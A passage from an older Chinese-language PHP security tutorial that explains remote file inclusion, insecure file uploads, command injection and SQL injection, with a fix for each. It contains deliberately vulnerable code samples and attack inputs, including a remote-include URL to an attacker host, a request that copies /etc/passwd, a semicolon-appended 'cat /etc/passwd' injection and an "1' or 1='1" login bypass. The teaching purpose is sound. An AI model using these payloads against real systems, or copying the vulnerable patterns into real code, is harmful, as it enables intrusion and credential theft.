如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，如的内容是，那么如下的请求就可以在目标主机执行命令ls /etc：
?filename=https://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令：
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。
解决方法：
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off
重启apache。
5、文件上传
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录（默认是系统的临时目录，如：/tmp）里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。PHP给上传的文件定义了四个变量：（如form变量名是file，而且register_globals打开）
$file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG ）
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用：
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
这是一个最简单的文件上传代码：
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功！点击继续上传";
exit;
}
?>
content="text/html; charset=gb2312">
上传文件:
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test（注意：这个目录必须nobody可写）下的attack.txt文件里：
?upload= ... ile_name=attack.txt
然后可以用如下请求读取口令文件：
攻击者可以把php文件拷贝成其它扩展名，泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值，上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
解决方法：
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密，避免由于copy操作泄漏源码。
严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现：
php_flag engine off
#如果是php3换成php3_engine off
重启apache，upload目录的php文件就不能被apache解释了，即使上传了php文件也没有问题，只能直接显示源码。
6、命令执行
下面的代码片断是从PHPNetToolpack摘出，详细的描述见：
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由于程序没有过滤$a_query变量，所以攻击者可以用分号来追加执行命令。
攻击者输入如下请求可以执行cat /etc/passwd命令：
?a_query=www.example.com;cat /etc/passwd
PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险，慎用。如果要使用一定要严格检查用户输入。
解决方法：
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。
启用safe_mode可以杜绝很多执行命令的问题，不过要注意PHP的版本一定要是最新的，小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。
7、sql_inject
如下的SQL语句如果未对变量进行处理就会存在问题：
select * from login where user='$user' and pass='$pass'
攻击者可以用户名和口令都输入1' or 1='1绕过验证。
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On，该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了：
select * from login where user='1\' or
1=\'1' and pass='1\' or 1=\'1'
从而避免了此类sql_inject攻击。
对于数字类型的字段，很多程序员会这样写：
select * from test where id=$id